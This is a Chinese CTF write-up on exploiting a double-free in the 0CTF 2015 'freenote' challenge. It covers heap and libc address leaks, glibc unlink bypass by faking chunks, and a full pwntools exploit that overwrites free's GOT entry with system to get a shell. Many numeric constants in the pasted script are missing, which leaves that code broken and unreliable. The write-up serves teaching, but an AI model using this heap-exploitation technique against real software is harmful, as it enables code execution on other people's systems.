这次选2015年的0ctf的一道非常经典的pwn题,感觉这个题目作为练习题来理解堆还是很棒的。

  运行起来,可以看出是一个实现类似于记事本功能的程序,就这一点而言,基本是套路了,功能都试一遍之后,就可以去试着寻找漏洞了,

看呀看,看呀看,发现一个问题,咦,好像在free堆的时候没有进行检查额,有趣,问题肯定就在这里了。

  详细看过0day安全的都记得书里面的Dword Shoot吧!然而,随着国内外黑客们隔段时间就喜欢搞点大新闻,所以无论在Linux和Windows上都插入了宏来验证堆上的fd和bk是否发生了修改。具体代码如下: 

 assert(p->fd->bk == p);
assert(p->bk->fd == p);

  当然,这会在后面细说的,在利用double_free之前,要想办法泄露出堆的地址,这里得看输入字符串函数了,根据套路,一般都是这里出问题。

  果不其然,这里输入字符串结尾并没有加上'/x00',说明可以读取超过预定长度的字符串了,这里来回顾一下一个chunk长啥样的,这里为了方便理解这个题的泄露方式,我自己画了一个一维的图:

  其中FD中指向next_chunk,BK指向前置指针。换句话说,只要能够得到FD或者BK的值,再通过一定的计算,就可以得到堆的地址了。而在glibc中,free之后并不会清空对中的内容,又因为如之前所说,输入并不会在末尾加'\x00'。所以这里有很多种方法可以的得到指针的值,这里选取一种容易理解的来讲解

       可以分配一个chunk,然后再将它free掉,之后再分配一个等于8字节大小的chunk,覆盖掉FD,但是此时,FD依然是之前的值,而且由于put函数直到遇到'\x00'才停止输出,完全可以得到BK的值,在经      过计算就可以得到heap的基地址了

  而且,这里还有一个挺有意思的地方,在glibc中,main Arena 在libc.so.6的数据段上,也就是说,我们也可以根据这种办法来变相得到libc.so.6的基地址,当然也可以通过固有套路来得到基地址。源码如下:

raw_input('*************************Leak_Libc*******************************8')

notelen=0x80

new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note(1)
delete_note(0) raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0) new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[0:-1].encode('hex')
heapBase= u64(leak[0:-1].ljust(8, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note(0)
delete_note(1)
delete_note(3)

  好啦,基地址拿到了,现在可以好好讲讲double_free了,在很久很久以前,那时候没有那么多加固措施,那时候进行堆攻击就挺方便的。直接溢出,伪造BK和FD就好了=_=。这个利用详细可以看看exploit-exercise, fusion的heap3,这里只简单讲一下free函数里的unlink操作了,如下:

FD = P->fd;
BK = P->bk;
FD->bk = BK; \
BK->fd = FD;

  然而,正如上文所说,加入了两个断言,所以就要相办法绕过去,这里常规的方法就是找一个指向该chunk的指针p,同时将该chunk的fd指向p-3,而bk指向P-2。这样的话就可以将*p = p-3了,同时,如果可以对*p,也就是chunk进行写的话,就可以任意写p-3之后的内存空间了。示意图如下:

  在这个题目中,通过对p进行写,然后可以将p指向got.plt 中free的位置,再将free写成system,最后再调用free就OK了!

  具体思路大致就是这些,但是,还有一个很重要的问题没有说,就是怎么得到伪造的机会以及怎么伪造,先来将怎么得到伪造的机会。

正如上文所说,本题没有检查chunk是否释放,完全可以先连续malloc三个堆,chunkA,chunkB,chunkC,再释放,根据堆的特性,这三个堆会合并,这是再分配一个小于size(chunkA)+size(chunkB)+size(chunkC)+0x20的堆,这是再对这片内存进行写,来伪造连续四个堆(貌似可以只伪造两个,但是还没有看完glibc的malloc.c的代码,所以以后再补),至于为什么伪造四个呢,这里要考虑到chunk的flag指向的是preChunk的状态,而要触发unlink操作的话,需要检查上一个chunk和下一个chunk的状态,这是就需要查看该chunk的flag和下下个chunk的flag了。在伪造的时候,需要注意的是有这么一段检查(坑的一逼)

 assert (P->fd_nextsize->bk_nextsize == P);
assert (P->bk_nextsize->fd_nextsize == P);

 所以,我们的上一段的size(也就是进行unlink操作的那个chunk),等于本段的preSize。

所以伪造的堆块如下。

payload  = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

 下面是exp,在ubuntu可以直接使用,其它环境,请自己拿到libc.so.6的相关函数偏移地址:

#!/usr/bin/env python
from pwn import * #switch
DEBUG =
LOCAL =
VERBOSE = if LOCAL:
p = process('./freenote_x64')
else:
p = remote('127.0.0.1',) if VERBOSE:
context(log_level='debug') def new_note(x):
p.recvuntil("Your choice: ")
p.send("2\n")
p.recvuntil("Length of new note: ")
p.send(str(len(x))+"\n")
p.recvuntil("Enter your note: ")
p.send(x) def delete_note(x):
p.recvuntil("Your choice: ")
p.send("4\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n") def list_note():
p.recvuntil("Your choice: ")
p.send("1\n") def edit_note(x,y):
p.recvuntil("Your choice: ")
p.send("3\n")
p.recvuntil("Note number: ")
p.send(str(x)+"\n")
p.recvuntil("Length of note: ")
p.send(str(len(y))+"\n")
p.recvuntil("Enter your note: ")
p.send(y) if DEBUG:
gdb.attach(p) raw_input('*************************Leak_Libc*******************************8') notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") leaklibcaddr = u64(leak[:-].ljust(, '\x00'))-0x3be7b8
print hex(leaklibcaddr) system_sh_addr = leaklibcaddr + 0x46590
print "system_sh_addr: " + hex(system_sh_addr)
bin_sh_addr = leaklibcaddr + 0x17c8c3 delete_note()
delete_note() raw_input('******************Leak_heap******************')
notelen=0x80 new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note()
delete_note() new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n") #print leak[:-].encode('hex')
heapBase= u64(leak[:-].ljust(, '\x00'))-0x1820
print "heapBase:"+hex(heapBase) delete_note()
delete_note()
delete_note() raw_input('*******************doubel_free*****************')
notelen = 0x80 #new_note("/bin/sh\x00"+"A"*(notelen-))
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen) delete_note()
delete_note()
delete_note() fd = heapBase + 0x18#notetable
bk = fd + 0x8 payload = ""
payload += p64(0x0) + p64(notelen+) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64() + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload)
raw_input('*******************beforetest*****************')
delete_note() free_got = 0x602018 payload2 = p64()+p64()+p64(0x8)+p64(free_got)+'A'*0x10+p64(bin_sh_addr)
payload2 += 'A'*(0x180-len(payload2)) edit_note(, payload2)
edit_note(, p64(system_sh_addr))
delete_note() p.interactive()

见微知著(二):解析ctf中的pwn--怎么利用double free的更多相关文章

  1. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  2. 见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出

    1月1号写博客,也是不容易呀!大家新年快乐呀! 先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian.先看看代码的大致流程,随便输入一下: 这个题目关键之处在于堆溢出,对于堆种类 ...

  3. CTF中做Linux下漏洞利用的一些心得

    其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...

  4. 转:二十一、详细解析Java中抽象类和接口的区别

    转:二十一.详细解析Java中抽象类和接口的区别 http://blog.csdn.net/liujun13579/article/details/7737670 在Java语言中, abstract ...

  5. 解析jQuery中extend方法--源码解析以及递归的过程《二》

    源码解析 在解析代码之前,首先要了解extend函数要解决什么问题,以及传入不同的参数,会达到怎样的效果.extend函数内部处理传入的不同参数,返回处理后的对象. extend函数用来扩展对象,增加 ...

  6. Python算法之动态规划(Dynamic Programming)解析:二维矩阵中的醉汉(魔改版leetcode出界的路径数)

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_168 现在很多互联网企业学聪明了,知道应聘者有目的性的刷Leetcode原题,用来应付算法题面试,所以开始对这些题进行" ...

  7. Chrome扩展开发之二——Chrome扩展中脚本的运行机制和通信方式

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  8. CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进 ...

  9. XML解析——Java中XML的四种解析方式

    XML是一种通用的数据交换格式,它的平台无关性.语言无关性.系统无关性.给数据集成与交互带来了极大的方便.XML在不同的语言环境中解析方式都是一样的,只不过实现的语法不同而已. XML的解析方式分为四 ...

随机推荐

  1. BZOJ2753 [SCOI2012]滑雪与时间胶囊 【kruskal】

    题目链接 BZOJ2753 题解 完了我连\(kruskal\)裸题都做不出来了.. 题目是求最小树形图,即有向图最小生成树 我们不能直接上\(kruskal\),而要保证先加入前面的点, 所以我们排 ...

  2. poj3375 Network Connection

    Description There are \(M\) network interfaces in the wall of aisle of library. And \(N\) computers ...

  3. Swing中使用UIManager批量自定义单一JComponent组件默认属性

    最近在研究Swing,被它的复杂性气的快吐血了,刚才本打算把JFrame的背景色换成白底,结果发现事情没想象中那么顺利,调用setBackground完全没有效果,猛然醒悟到JPanel本身是带不透明 ...

  4. CSS3中transform属性的用法

    有时候网站也要愚弄一下访客,比如愚人节.下面我给大家推荐个效果,就是整个页面左右颠倒了.css3 很强大,简单的几行代码就可以帮我们实现这个效果. view source   print? 01 &l ...

  5. count(1)与count(*)

    http://www.cnblogs.com/sueris/p/6650301.html 结论:实际项目中count(1)用到多 记得很早以前就有人跟我说过,在使用count的时候要用count(1) ...

  6. LwIP - 打开keepalive功能

    在服务器端打开keepalive功能 1.保证LWIP_TCP_KEEPALIVE被定义为1,(这样TCP_KEEPIDLE.TCP_KEEPINTVL和TCP_KEEPCNT 设置才有效) 2. i ...

  7. java实现ssm框架的crud

    上一篇博客写了通过表名获取数据库表结构的demo,现在我以此为基础实现了一个简单的通过数据库表结构生成对应的实体,通过读取mapper接口文件.mapping映射文件. service映射文件模板,替 ...

  8. Java输入输出流备忘

    重要博客: http://blog.csdn.net/hguisu/article/details/7418161 File dir = new File("\\root");   ...

  9. POJ 1064---二分搜索法

    ///2.假定一个解并判断是否可行 ///POJ1064 /** Q:有N条绳子,长度分别为Li,从中切割出k条长度相同的绳子, 这K条绳子最长能有多长?保留两位小数 A: 二分搜索模型. 条件C(x ...

  10. 【BZOJ2286】【SDOI2011】消耗战 [虚树][树形DP]

    消耗战 Time Limit: 20 Sec  Memory Limit: 512 MB[Submit][Status][Discuss] Description 在一场战争中,战场由n个岛屿和n-1 ...